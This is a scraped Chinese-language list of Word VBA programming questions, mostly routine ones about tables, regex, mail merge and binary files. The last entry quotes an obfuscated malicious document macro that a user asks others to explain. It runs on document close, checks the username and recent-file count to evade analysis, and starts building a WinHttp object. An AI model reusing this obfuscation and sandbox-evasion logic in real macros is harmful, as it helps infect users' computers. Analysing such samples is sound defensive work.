标签: word-vba

从Word文档中删除第一行,对其进行处理,然后在文档的开头放置新行

我正在开发一个应用程序,其中我需要删除几个word文档的第一行,合并它们,将它们的表合并为一个并将其放置在顶部,删除所有合并的单个表,然后为合并的表命名。

除了删除单个单词文档的第一行(将合并为一个单词)并将名称字符串放入表格顶部新文档中新生成的表格中,我几乎完成了所有工作。新生成的表将放置在新文档的顶部(这是所有其他文档合并的结果)。

有人可以建议一种方法吗?如果可能的话,删除前两行会有所帮助。

vba ms-word word-vba

1
推荐指数
1
解决办法
4614
查看次数

如何使用MS word 2007 vba来检查窗口版本

我想检查不同comp上的窗口版本,从而在MS word 2007 vba上执行不同的任务.我尝试了这个代码,我在ms excel 2007 vba上应用并且正在工作,但不是在MS word 2007 vba上.

Dim TheOS As String
Dim WinType As String
TheOS = Application.OperatingSystem
MsgBox ("TheOS ")
Run Code Online (Sandbox Code Playgroud)

在ms word 2007 vba上,它重新编译了一个编译错误:找不到方法或数据成员.我需要什么?

vba word-2007 word-vba

1
推荐指数
1
解决办法
1725
查看次数

如何获得VBA中子比赛的位置?

我需要获取子匹配字符串的索引位置值。根据文档,我已经阅读了此正则表达式并了解了FirstIndex属性以获取匹配字符串的位置。

但这仅适用于一维匹配的字符串。我无法申请子FirstIndex比赛。请参考样本匹配

我尝试过这种格式,

        Dim myRegExp As Object, match As MatchCollection            
        Dim matched As String
        Set myRegExp = CreateObject("VBScript.RegExp")
        myRegExp.pattern = find
        If myRegExp.test(text) = True Then
        Set match = myRegExp.Execute(text)          
        Debug.Print match(0).submatches(0) '' this is matched string
Run Code Online (Sandbox Code Playgroud)

我应该在哪里打电话FirstIndex以获得匹配的字符串的位置

输出:

match(0)=>Berry, Brent. (2006). What accounts for race and ethnic differences in  Berry, 
Brent. parental financial transfers to adult children in the United States? Journal of Family
Issues 37:1583-1604.   

submatches(0)=>Berry, Brent.
submatches(6)=>2006
Run Code Online (Sandbox Code Playgroud)

预期的输出: …

regex macros vbscript vba word-vba

1
推荐指数
1
解决办法
5016
查看次数

在if / then中选择大小写

我在用户窗体上有一个ToggleButton(TB)和ComboBox(CB),如果TB.value = True,则它必须确定CB.value是什么才能插入正确的文件。

我正在使用if / then语句来解决TB.value(我已经在用户窗体上的其他切换中使用了它,并且它本身已经有效。要解决CB.value,我尝试使用select案例陈述。

当我在if / then语句中使用select case语句运行脚本时,没有得到要插入的文件。

这是我的代码示例,包括如何列出CB进行初始化:

Private Sub CommandButton1_Click()

CreateObject (Word.Application.Documents.Add)

If ToggleButton1.Value = True Then
Select Case File
    Case ComboBox1.Value = "File A"
        Selection.InsertFile FileName:="C:\File A"
    Case ComboBox1.Value = "File B"
        Selection.InsertFile FileName:="C:\File B"
    End Select
Else:
    ToggleButton1.Value = False
End If

Unload Me

End Sub



Private Sub Userform_Initialize()

With ComboBox1
    .AddItem "File A", 0
    .AddItem "File B", 1
    End With

End Sub
Run Code Online (Sandbox Code Playgroud)

如果有人能够帮助我弄清楚为什么我无法使用上述方法插入文件,将不胜感激。如果有更好的方法可以做到这一点,我也很想听听!

先感谢您。

vba word-vba

1
推荐指数
1
解决办法
90
查看次数

VBA中括号效果不同的原因是什么?

我没有用其他语言看到过这个,但是我在VBA(我刚刚开始使用它)中看到了很多。假设您在Word中有一个表格,希望将行设置为一定的高度。如果你这样做

    tbl.Rows.SetHeight InchesToPoints(1), wdRowHeightExactly
Run Code Online (Sandbox Code Playgroud)

表格的行确实设置为72点或1英寸高。但是,如果将参数括在括号中(这是我本能地执行的操作),则VBA会给出错误- expected:=

我可以通过使用一个抛弃型变量来解决这个问题

x = tbl.Rows.SetHeight (InchesToPoints(1), wdRowHeightExactly)
Run Code Online (Sandbox Code Playgroud)

或者,当然,我不能简单地将参数括在括号中。

Microsoft的SetHeight方法文档没有提及任何返回值,但是无论如何,此行为在整个VBA中都是广泛的。它不特定于SetHeight方法。

我的问题:这叫什么?我应该使用扔掉的变量还是扔掉括号?从微软的角度来看,逻辑是什么?使用我无法想象的结果是否会产生后果(因为它们是未知的未知数)?

vba ms-word word-vba

1
推荐指数
1
解决办法
153
查看次数

如何合并由VBScript创建的表的第一行

我有一个VBScript创建一个表.它循环遍历数组并将信息插入Word文档中的表中.

'Create new word doc
Set objWord = CreateObject("Word.Application")

objWord.Visible = True
Set objDoc = objWord.Documents.Add()
Set objSelection = objWord.Selection

objSelection.Font.Name = "Verdana"
objSelection.Font.Size = "12"
objSelection.TypeText sFileSelected
objSelection.TypeParagraph()

objSelection.Font.Name = "Verdana"
objSelection.Font.Size = "12"

Set objRange = objSelection.Range
Set objFSO = CreateObject("scripting.filesystemobject")
Set objTF = objFSO.opentextfile(logPathAndFileName)
strAll = objTF.readall
arrVar = Split(strAll, vbNewLine)
numcols = 3

objDoc.Tables.Add objRange, UBound(arrVar) - LBound(arrVar) + 1, numcols
Set objTable = objDoc.Tables(1)

For lngrow = LBound(arrVar) To UBound(arrVar)
    If lngrow > 0 Then …
Run Code Online (Sandbox Code Playgroud)

vbscript vba ms-word word-vba

0
推荐指数
1
解决办法
4658
查看次数

vba二进制文件导致溢出

我正在尝试使用word中的宏将此数据写入二进制文件.如果我运行这个我得到这个错误"执行错误溢出(错误6)"就行了 #handle,CByte("&H"和输出(i))

我怎样才能解决这个问题?谢谢.

Sub HexStringToBinaryFile()


    lol50

    Dim output() As String
    output = Split(lol, "|")

    Dim handle As Long
    handle = FreeFile
    Open "C:\test.bin2" For Binary As #handle

    Dim i As Long
    For i = LBound(output) To UBound(output)

        Put #handle, , CByte("&H" & output(i))

    Next i

    Close #handle

End Sub
  Sub lol50()
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = …
Run Code Online (Sandbox Code Playgroud)

excel vba ms-office excel-vba word-vba

0
推荐指数
1
解决办法
62
查看次数

Word Mail Merge记录计数返回-1

我正在尝试通过单词邮件合并文档的数据源.

我通过邮件合并数据源运行的代码如下所示:

ActiveDocument.MailMerge.DataSource.ActiveRecord = wdFirstRecord
lastDoc = ActiveDocument.MailMerge.DataSource.RecordCount
Run Code Online (Sandbox Code Playgroud)

现在一切都很好.我运行数据源并做我需要做的事情.

现在,由于其他原因,我正在制作此用户的用户使用小帮助函数:Mail Merger Helper(它存在于Word 2010中)

但是当他们使用它时,我的ActiveDocument.MailMerge.DataSource.RecordCount返回-1.这意味着它无法决定数据源中的记录数.我的假设是Mail Merger Helper没有正确设置数据源.

但这阻止我迭代邮件合并(当他使用帮助程序时,他仍然可以激活通常的邮件合并功能,例如查看合并的结果).

怎么了?有没有替代迭代合并,所以我可以逐个获取记录?

vba datasource ms-word mailmerge word-vba

0
推荐指数
1
解决办法
1918
查看次数

如何使用带有明确选项的命名常量?

当我试图遵循最佳实践时,我将Option Explicit我的代码置于顶部,并声明我的所有变量.但这导致了与另一种使用命名常量的最佳实践的冲突.我该怎么办?

第一个问题是xlFalse; 我对任何其他xl变量都没有任何问题,所以这看起来像一个独立的案例.但我并不是真的担心它,因为我可以放入False并且代码可以工作.(它有效,对吧?)

Sub GetEOP()

    'Executes when the user clicks the "Import Data" button, imports the EOP data

    GlobalDeclarations

    'Open Open dialog, assigns selected file path to wordFileName
    wordFileName = Application.GetOpenFilename("Rich Text Files (*.rtf), *.rtf," & "Word Files (*.doc;*.docx), *.doc;*.docx", , "EOP Table File?")

    'Stop code if the user clicks Cancel (otherwise, wordFileName would be assigned a value of "False")
    If wordFileName = False Then Exit Sub

    'Open the selected file …
Run Code Online (Sandbox Code Playgroud)

excel vba ms-word excel-vba word-vba

0
推荐指数
1
解决办法
126
查看次数

循环中"为每个细胞"的细胞顺序

我想知道是否有规则知道循环将完成?

有没有办法改变它?

假设我在多个工作簿上的多个工作表上有多个范围.

excel foreach vba excel-vba word-vba

-1
推荐指数
1
解决办法
2423
查看次数

这个恶意vba代码到底是做什么的?

我刚在我的工作场所收到这个基于宏的文档,里面有这个恶意的宏代码.
由于vb.net不是我强大的一面,我无法弄清楚它的作用.这是我在文档中找到的唯一宏.
由于代码被强烈混淆,我认为它是恶意的.

Public Sub Document_Close()
On Error GoTo SWuc
ZQZf
Exit Sub
SWuc:
End Sub
Public Sub ZQZf()
Dim vmKT As String
Dim UwuV As String
Set PUQqU = CallByName(ThisDocument, s(61, "pocpiiAtlna", 107), 2)
If CallByName(PUQqU, s(74, "mrUaeeNs", 29), 2) = s(31, "RESU", 35) Then UWaFZ (s(40, "uadrBsm naee", 89))
If CallByName(CallByName(PUQqU, s(41, "liFtneceRse", 109), 2), s(33, "tonCu", 8), 2) < 3 Then UWaFZ (s(72, "sih daByrot", 32))
Set mVEL = qizB(s(271, "5n.tq.ipHetWtnRs1tipe.HWtu", 99))
CallByName mVEL, s(27, "nepO", 11), …
Run Code Online (Sandbox Code Playgroud)

vba ms-word word-vba

-4
推荐指数
1
解决办法
261
查看次数